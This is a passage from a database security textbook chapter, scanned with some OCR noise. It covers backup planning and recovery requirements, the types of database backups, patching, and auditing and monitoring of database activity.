other factors can prevent you from taking all the time you need to implement an ideal
backup solution.

So, how do you decide what to protect? One method is to classify the importance of the
relative types of information you need to protect. For example, your sales databases might
be of “mission critical” importance, whereas a small decision-support system might rank
“low priority” on the scale (since the data can relatively easily be re-created, if necessary).
It’s also important to keep in mind that business managers may have a very different idea of
the importance of data when compared to other users who actually deal with this information
frequently. Keep in mind that determining how to protect information must be a team effort if
it is to be accurate and successful. An example of high-level data protection requirements is
shown in Table 12-1.

Resource Importance | Notes

OLTP server Critical Information can’t be easily re-created, and data loss
will lead to inaccurate or misleading reports.

E-mail server High Recovering lost messages and user mailboxes is
very difficult.

Decision-support server | Medium Information can be regenerated from other sources.
(data warehouse)

Intranet web server Medium Content is important, but is replicated among
multiple machines as part of development processes.

Table 12-1 A Sample Categorization of Data Based on Importance
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Determining Backup Constraints

Once you have a reasonable idea of what your organization needs to back up, it’s time to
think about ways in which you can implement a data protection strategy. It is of critical
importance that you define your business requirements before you look at the technical
requirements for any kind of data protection solution. Table 12-2 provides an example of
a requirements worksheet that summarizes data protection needs.

In addition to these requirements, you might also have a preliminary budget limit that
can serve as a guideline for evaluating solutions. You should also begin thinking about
personnel and the types of expertise you'll need to have available to implement a solution.

Determining Recovery Requirements

It’s important to keep in mind that the purpose of data protection is not to create backups.
The real purpose is to provide the ability to recover information, in case it is lost. To that
end, a good practice is to begin designing a backup solution based on your recovery
requirements. You should take into account the cost of downtime, the value of the data,
and the amount of acceptable data loss in a worst-case scenario. Also, keep in mind the
likelihood of certain types of disasters.

When planners are evaluating business needs, they may forget to factor in the potential
time for recovering information. The question they should ask is the following: “If we lose
data due to failure or corruption, how long will it take to get it back?” In some cases, the
answer will be based on the technical limitations of the hardware you select. For example, if
you back up 13GB of data to tape media and then the database becomes corrupted, the
recovery time might be two hours. But what if that’s not fast enough? Suppose your systems
must be available within half that time—one hour. In that case, you'll need to make some
important decisions. An obvious choice is to find suitable backup hardware to meet these
constraints. If budgetary considerations don’t allow that, however, you’ll need to find

Amount of | Backup Acceptable Acceptable | Other

Machine Data (est.) | Window Downtime Data Loss Requirements

Server 1 (file/ | 14GB >12 hours | 1 day 1 day General file/

print services) print server

Server 2 >17GB >6 hours 3 hours 4 hours Engineering

(file services) file server

SQL Server 1 >6GB >12 hours | 30 minutes 1 hour Sales order entry;

(sales OLTP) must support point-
in-time recovery

Shipping >17.5GB >2 hours 5 minutes None Must remain

server online at all times;
transactions cannot
be lost

Table 12-2 Sample Data Protection Requirements Worksheet Based on Business Requirements
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another way. In Chapter 32, we’ll look at several technical solutions. For now, consider how
long your business can realistically tolerate having certain information unavailable.

Now that we have some of the planning information out of the way, let’s look at some
technical information related to the performance impact of database backups.

Types of Database Backups

In an ideal world, you would have all of the resources you need to back up all of your data
almost instantly. However, in the real world, large databases and performance requirements
can often constrain the operations that can be performed (and when they can be performed).
Therefore, you’ll need to make some compromises. For example, instead of backing up all of
your data hourly, you might have to resort to doing full backups once per week and smaller
backups on other days.

Although the terminology and features vary greatly between relational database platforms,
the following types of backups are possible on most systems:

e Full backups This type of backup consists of making a complete copy of all of the
data in a database. Generally, the process can be performed while a database is up
and running. On modern hardware, the performance impact of full backups may
be almost negligible. Of course, it’s recommended that database administrators test
the performance impact of backups before implementing an overall schedule. Full
backups are the basis for all other types of backups. If disk space constraints allow it,
it is recommended to perform full backups frequently.

* Differential backups This type of backup consists of copying all of the data that has
changed since the last full backup. Since differential backups contain only changes,
the recovery process involves first restoring the latest full backup and then restoring
the latest differential backup. Although the recovery process involves more steps (and
is more time-consuming), the use of differential backups can greatly reduce the
amount of disk storage space and backup time required to protect large databases.

¢ Transaction log backups Relational database systems are designed to support
multiple concurrent updates to data. In order to manage contention and to ensure
that all users see data that is consistent to a specific point in time, data modifications
are first written to a transaction log file. Periodically, the transactions that have been
logged are then committed to the actual database. Database administrators can
choose to perform transaction log backups fairly frequently, since they only contain
information about transactions that have occurred since the last backup. The major
drawback to implementing transaction log backups is that, in order to recover a
database, the last full (or differential) backup must be restored. Then, the unbroken
chain of sequential transaction log files must be applied. Depending on the frequency
of full backups, this might take a significant amount of time. However, transaction log
backups also provide one extremely important feature that other backup types do
not: pointin-time recovery. What this means is that, provided that backups have been
implemented properly, database administrators can roll a database back to a specific
point in time. For example, if you learn that an incorrect or unauthorized database
transaction was performed at 3:00 p.M. on Friday, you will be able to restore the
database to a point in time just before that transaction occurred. The end result is
minimal data loss.
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The various backup types that are available can be combined in order to provide flexible
methods of backing up large or very busy databases. For example, you might choose to
implement weekly full backups, daily differential backups, and hourly transaction log
backups. Additionally, modern relational database systems allow database administrators to
make backups of specific tables or portions of a database. For example, Microsoft’s SQL
Server platform allows database administrators to create tables on specific physical data files.
These files can then be backed up and restored individually. Although using this method
takes a lot of planning (for both backup and recovery operations), it can reduce backup
times and provide for greater data protection on large, busy servers.

Another important consideration related to backups is where to store the database dumps
that are created. The two main options are disk and tape. Both are commonly used solutions
and have various pros and cons. Based on cost considerations, data volume, and performance
requirements, you can choose to implement one or both of these solutions. If uptime and
reliability are major concerns, your organization might also choose to implement a “hot
backup” configuration (through the use of clustering or other solutions).

Now that we’ve covered the basics of database backup and recovery, let’s take a look at
a few remaining topics related to database security.

Keeping Your Servers Up to Date

An important general security best practice that also applies to databases is keeping systems
up to date. In order to ensure that known vulnerabilities and server problems are repaired,
you must apply the latest security and application patches. It’s especially difficult to keep
active databases up to date, since downtime, testing, and potential performance degradation
can be real concerns. However, you should always review available updates and find out if
the servers you manage have problems that are potentially solved by an update. If so, plan
to install the updates as soon as you can test and deploy them.

Additionally, relevant patches should be applied to the operating system on which the
database is running. Most database vendors offer support web sites that offer technical
details and updates for their server platforms.

Database Auditing and Monitoring

The idea of accountability is an important one when it comes to network and database
security. The process of auditing involves keeping a log of data modifications and permissions
usage. Often, users that are attempting to overstep their security permissions (or users that
are unauthorized altogether) can be detected and dealt with before significant damage is
done; or, once data has been tampered with, auditing can provide details about the extent of
loss or data changes. There’s another benefit to implementing auditing: when users know
that certain actions are being tracked, they might be less likely to attempt to snoop around
your databases. Thus, this technique can serve as a deterrent. Unfortunately, in many
environments, auditing is overlooked.

Though it won’t necessarily prevent users from modifying information, auditing can be
a very powerful security tool. Most relational databases provide you with the ability to track
specific actions based on user roles or to track actions on specific database objects. For example,
you might want to create an audit log entry whenever information in the EmployeeSalary
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table is updated, or you might choose to implement auditing of logins and certain actions
to deter systems administrators (who might require full permissions on a database) from
casually “snooping around” in a database.

NOTE Be sure that you control permissions on auditing settings as well. Otherwise, a user with sufficient
permissions could simply disable auditing, perform various actions on the system, and then
re-enable auditing. To prevent this, it's also recommended that you audit any changes to the audit
logging functionality itself.

Perhaps one of the reasons that auditing is not often implemented is because it requires
significant planning and management. Unlike some types of “set and forget” functions, it’s
important to strike a balance between technical requirements and capturing enough
information to provide meaningful analysis. In many cases, auditing too much information
can decrease system performance. Also, audit logs can take up significant disk space. Finally,
few database administrators would enjoy the task of looking through thousands of audit log
entries just to find a few items that may be of interest.

Most relational database systems offer some level of auditing functionality. Even if one
or more of the types of database you support does not include this feature, you can always
implement your own (perhaps through the use of triggers, as described earlier in this
chapter). At a minimum, most database administrators should configure logging of both
successful and failed database login attempts. Although this measure, by itself, will provide
limited information, it will provide for some level of accountability. Of course, capturing
data is only one part of overall auditing.

Reviewing Audit Logs

In order for auditing to be truly useful, systems and database administrators should regularly
review the data that has been collected. It is only through this activity that potential problems
in security settings can be detected before they get worse. The challenge with reviewing audit
logs is in determining what information is useful. Unfortunately, there’s no simple method
that will work for all situations. In some environments, you might want to perform “spot
checks”—that is, review access to particularly sensitive data or review the actions that have
been taken by a specific user. You may want to even have triggers set on auditing tables to
automatically alert someone when some threshold of a known event has happened, such as
multiple user account password changes happening at the same time.

Since activity logs can contain a lot of information, any methods for filtering the
collected data can be helpful. Figure 12-9 provides an example of reviewing auditing logs
and searching for important information using the tools included with SQL Server. For
example, using features in Enterprise Manager, you can specify text to search for, and you
can restrict the search to specific error numbers or severity levels.

Database Monitoring

Although auditing can provide an excellent way to track detailed actions, sometimes you
just want to get a quick snapshot of who’s using the server and for what purpose. Most
databases provide easy methods for viewing this information (generally through graphical
utilities). You may be able to get a quick snapshot of current database activity or view any
long-running transactions that are currently in process.
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Figure 12-9 Searching for activity log information in Enterprise Manager

Although it’s unlikely that you’ll catch potential security breaches simply by starting at
current activity information, this method can help you get a better idea of how your
database is being used. By establishing a performance and usage baseline, you will be able
to quickly identify any potential misuse of the system. For example, using the Windows
Performance Toolkit (WPT) that is part of Microsoft’s serverside operating systems, you
can track many statistics related to database usage. You can also configure alerts that can be
used to notify you when performance or other statistics are “out of bounds,” based on
normal activity. All of these mechanisms can be helpful in monitoring the usage of your
database systems.

Summary

In this chapter, we covered a lot of information that is specific to implementing and
maintaining security for relational databases. Although many of the same policies,
procedures, tools, and techniques covered in earlier chapters also apply to databases, there
are some special considerations that should be kept in mind.

We began by looking at the roles that databases can play in a typical organization. Then
we examined the various levels of security that are implemented in most relational database
platforms. Specifically, we looked at server-level, network-level, and database-level security.
The permissions at each of these levels can help narrowly define what users can and cannot
do, and can help prevent accidental or malicious data modifications.

Next, we looked at how application-level security can be used to maintain strict
permissions while simplifying data